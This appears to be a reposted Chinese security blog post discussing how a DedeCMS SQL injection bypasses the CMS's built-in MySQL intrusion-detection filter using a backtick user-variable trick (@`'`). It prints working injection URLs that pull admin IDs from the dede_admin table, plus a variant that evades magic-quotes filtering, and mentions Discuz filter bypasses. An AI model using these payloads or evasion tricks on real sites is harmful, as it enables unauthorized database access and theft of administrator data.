博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
讨论下IDS的绕过
阅读量:6981 次
发布时间:2019-06-27

本文共 1330 字,大约阅读时间需要 4 分钟。

自从知道dedecms自带了80sec的内置Mysqlids后,一直以来也没有想到绕过的办法。或者是自己mysql的根底太差了吧。于是分析dedecms源码时,只找模板执行,本地包含,上传等,完全没有想到注入存在的可能性了。

可以看看某牛的很久以前的分析
http://www.oldjun.com/blog/index.php/archives/66/(其中:80sec的内置Mysqlids可能的绕过方法)
之前也看过,感觉也是同意的。
但今天看到dede再暴漏洞,居然存在注入?
文章在这里:http://www.sa666.com/thread-25247-1-1.html
注入关键地方:/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid from `%23@__admin` where 1 or id=@`'`
最终执行语句是:
SELECT groupname FROM dede_member_group WHERE mid = 0 AND id=@`\'` Union select userid from `dede_admin` where 1 or id=@`\'` LIMIT 0,1;
关键是:@`'`  这个
一直以为 反引号 只用于字段表等特殊地方,但没想到还可以用于值的,于是就顺理绕过了IDS的检测,在IDS中变成:select groupname from dede_member_group where mid = 0 and id=@`\$s$` limit 0,1。
如果执行:select * from table where id=`8` 会出错。
但执行:select * from table where id=@`8` 即正常,但没查出数据。
即这个值“@`8`”不是简单的值 8 那是什么值呢?
mysql> select @`8`;
+------+
| @`8` |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
据我所知,这个@是由用户声明的局部变量。估计就是把整个值当为整个变量吧?
不知想法对不对。有对mysql了解的可以来解释一下。
至于有人说为什么会有些出现:Safe Alert: Request Error step 2!
这是由于dedecms的另一个问题了,这里就不多说,和GPC有关,可以下面语句绕过:
/member/ajax_membergroup.php?action=post&membergroup=@`\'` Union select userid from `%23@__admin` where 1 or id=@`\'`
IDS的防和绕过一直在斗争着。
在Discuz! 中,IDS也起到了很大作用,从前面的 /*!*/ 绕过和 union all等绕过,到现在的修复。
大家还有什么IDS的绕过技巧或案例可以分享的么?^-^

摘自:http://zone.wooyun.org/content/108

转载地址:http://aqcpl.baihongyu.com/

你可能感兴趣的文章
李洪强经典面试题150-设计模式
查看>>
使用maven的profile切换项目各环境的参数
查看>>
XML基础知识
查看>>
Sharepoint学习笔记—习题系列--70-576习题解析 -(Q141-Q143)
查看>>
sudo配置文件/etc/sudoers格式
查看>>
span设置padding无效
查看>>
RGB、HSB、HSL 互相转换算法
查看>>
【转】外企高管们的“中年危机”
查看>>
HeapAlloc 和 GlobalAlloc 以及 VirtualAlloc 三者之间的关系(转)
查看>>
你一定不知道IDE里的Tomcat是怎么工作的
查看>>
Java面试通关要点汇总集
查看>>
从源码角度理解Handler、Looper、MessageQueue之间关系
查看>>
Bitmap 比你想的更费内存 | 吊打 OOM
查看>>
为你揭秘小程序音视频背后的故事......
查看>>
自定义侧边快速索引栏
查看>>
一种自动化检测 Flash 中 XSS 方法的探讨
查看>>
基于环信sdk实现简单即时聊天
查看>>
Java基础-Synchronized原理
查看>>
大道至简,阿里巴巴敏捷教练的电子看板诞生记
查看>>
华山论剑之浅谈iOS的生产线 工厂模式
查看>>